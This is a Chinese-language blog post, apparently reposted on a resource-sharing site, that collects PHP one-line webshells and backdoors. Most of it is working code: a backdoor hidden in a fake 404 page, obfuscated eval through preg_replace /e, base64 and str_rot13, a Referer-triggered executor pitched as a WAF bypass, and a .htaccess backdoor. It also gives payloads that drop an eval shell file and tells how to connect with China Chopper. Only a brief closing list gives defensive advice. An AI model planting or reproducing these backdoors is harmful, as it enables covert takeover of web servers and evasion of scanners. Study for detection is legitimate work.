也想出现在这里? 联系我们

web后门 那些强悍猥琐流的PHP一句话后门大全分享

作者 : 小编 本文共5126个字,预计阅读时间需要13分钟 发布时间: 2021-06-12 共2.12K人阅读
也想出现在这里? 联系我们

强悍的PHP一句话后门 这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。 利用404页面隐藏PHP小马:

复制代码

代码如下:

<!DOCTYPE HTML PUBLIC \”-//IETF//DTD HTML 2.0//EN\”> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @preg_replace(\”/[pageerror]/e\”,$_POST[\’error\’],\”saft\”); header(\’HTTP/1.1 404 Not Found\’); ?>

404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。 无特征隐藏PHP一句话:

复制代码

代码如下:

<?php session_start(); $_POST[\’code\’] && $_SESSION[\’theCode\’] = trim($_POST[\’code\’]); $_SESSION[\’theCode\’]&&preg_replace(\’\\\’a\\\’eis\’,\’e\’.\’v\’.\’a\’.\’l\’.\'(base64_decode($_SESSION[\\\’theCode\\\’]))\’,\’a\’);

将$_POST[\’code\’]的内容赋值给$_SESSION[\’theCode\’],然后执行$_SESSION[\’theCode\’],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。 超级隐蔽的PHP后门:

复制代码

代码如下:

<?php $_GET[a]($_GET[b]);?>

仅用GET函数就构成了木马; 利用方法:

复制代码

代码如下:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。 层级请求,编码运行PHP后门: 此方法用两个文件实现,文件1

复制代码

代码如下:

<?php //1.php header(\’Content-type:text/html;charset=utf-8\’); parse_str($_SERVER[\’HTTP_REFERER\’], $a); if(reset($a) == \’10\’ && count($a) == 9) { eval(base64_decode(str_replace(\” \”, \”+\”, implode(array_slice($a, 6))))); }

文件2

复制代码

代码如下:

<?php //2.php header(\’Content-type:text/html;charset=utf-8\’); //要执行的代码 $code = <<<CODE phpinfo(); CODE; //进行base64编码 $code = base64_encode($code); //构造referer字符串 $referer = \”a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=\”; //后门url $url = \’http://localhost/test1/1.php\’; $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options); echo curl_exec($ch);

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。 PHP后门生成工具weevely weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。 weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。 以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。 三个变形的一句话PHP木马 第一个

复制代码

代码如下:

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

在菜刀里写http://site/1.php?2=assert密码是1 第二个

复制代码

代码如下:

<?php $_=\”\”; $_[+\”\”]=\’\’; $_=\”$_\”.\”\”; $_=($_[+\”\”]|\”\”).($_[+\”\”]|\”\”).($_[+\”\”]^\”\”); ?> <?php ${\’_\’.$_}[\’_\’](${\’_\’.$_}[\’__\’]);?>

在菜刀里写http://site/2.php?_=assert&__=eval($_POST[\’pass\’]) 密码是pass。 如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。 第三个

复制代码

代码如下:

($b4dboy = $_POST[\’b4dboy\’]) && @preg_replace(\’/ad/e\’,\’@\’.str_rot13(\’riny\’).\'($b4dboy)\’, \’add\’);

str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血! .htaccess做PHP后门 这个其实在2007年的时候作者GaRY就爆出了,只是后边没人关注,这个利用关键点在于一句话:

复制代码

代码如下:

AddType application/x-httpd-php .htaccess ###### SHELL ###### 这里写上你的后门吧###### LLEHS ######

toby57解析加密一句话木马 此段后门使用方法会与其它方法不太一样,具体看下面 Client:

复制代码

代码如下:

<?php if(crypt($_SERVER[\’HTTP_H0ST\’],51)==\’514zR17F8j0q6\’){@file_put_contents($_SERVER[\’HTTP_X\’],$_SERVER[\’HTTP_Y\’]); header(\”Location: ./\”.$_SERVER[\’HTTP_X\’]);}; ?>

Server:

复制代码

代码如下:

<?php $fp = fsockopen(\”127.0.0.1\”,80,$errno,$errstr,5); if (!$fp){ echo(\’fp fail\’); } $out = \”GET /php_muma/client.php HTTP/1.1\\r\\n\”; $out .= \”Content-Type: application/x-www-form-urlencoded\\r\\n\”; $out .= \”User-Agent: MSIE\\r\\n\”; $out .= \”Host: 127.0.0.1\\r\\n\”; $out .= \”H0ST: qiushui51a\\r\\n\”; $out .= \”X: ../shell.php \\r\\n\”; $out .= \”Y: <?php eval(\\$_POST1);?>\\r\\n\”; $out .= \”Connection: close\\r\\n\\r\\n\”; fwrite($fp,$out); while(!feof($fp)){ $resp_str=\”\”; $resp_str .= fgets($fp,512);//返回值放入$resp_str } fclose($fp); echo($resp_str);//处理返回值. ?>

对服务端与客户端指令对比,如一致则执行后门指令。 最后列几个高级的PHP一句话木马后门

复制代码

代码如下:

1、 $hh = \”p\”.\”r\”.\”e\”.\”g\”.\”_\”.\”r\”.\”e\”.\”p\”.\”l\”.\”a\”.\”c\”.\”e\”; $hh(\”/[discuz]/e\”,$_POST[\’h\’],\”Access\”); //菜刀一句话 2、 $filename=$_GET[\’xbid\’]; include ($filename); //危险的include函数,直接编译任何文件为php格式运行 3、 $reg=\”c\”.\”o\”.\”p\”.\”y\”; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); //重命名任何文件 4、 $gzid = \”p\”.\”r\”.\”e\”.\”g\”.\”_\”.\”r\”.\”e\”.\”p\”.\”l\”.\”a\”.\”c\”.\”e\”; $gzid(\”/[discuz]/e\”,$_POST[\’h\’],\”Access\”); //菜刀一句话 5、include ($uid); //危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif //gif插一句话 6、典型一句话 程序后门代码 <?php eval_r($_POST[sb])?> 程序代码 <?php @eval_r($_POST[sb])?> //容错代码 程序代码 <?php assert($_POST[sb]);?> //使用lanker一句话客户端的专家模式执行相关的php语句 程序代码 <?$_POST[\’sa\’]($_POST[\’sb\’]);?> 程序代码 <?$_POST[\’sa\’]($_POST[\’sb\’],$_POST[\’sc\’])?> 程序代码 <?php @preg_replace(\”/[email]/e\”,$_POST[\’h\’],\”error\”); ?> //使用这个后,使用菜刀一句话客户端在配置连接的时候在\”配置\”一栏输入 程序代码 <O>h=@eval_r($_POST1);</O> 程序代码 <script language=\”php\”>@eval_r($_POST[sb])</script> //绕过<?限制的一句话

综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结! 如何应对PHP一句话后门 我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了: ■对PHP程序编写要有安全意识 ■服务器日志文件要经常看,经常备份 ■对每个站点进行严格的权限分配 ■对动态文件及目录经常批量安全审查 ■学会如何进行手工杀毒《即行为判断查杀》 ■时刻关注,或渗入活跃的网络安全营地 ■对服务器环境层级化处理,哪怕一个函数也可做规则 亦家网络认为当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。转载必须注明出自亦家网络。 原文链接:http://www.oooceo.com/security/php-word/

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » web后门 那些强悍猥琐流的PHP一句话后门大全分享

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录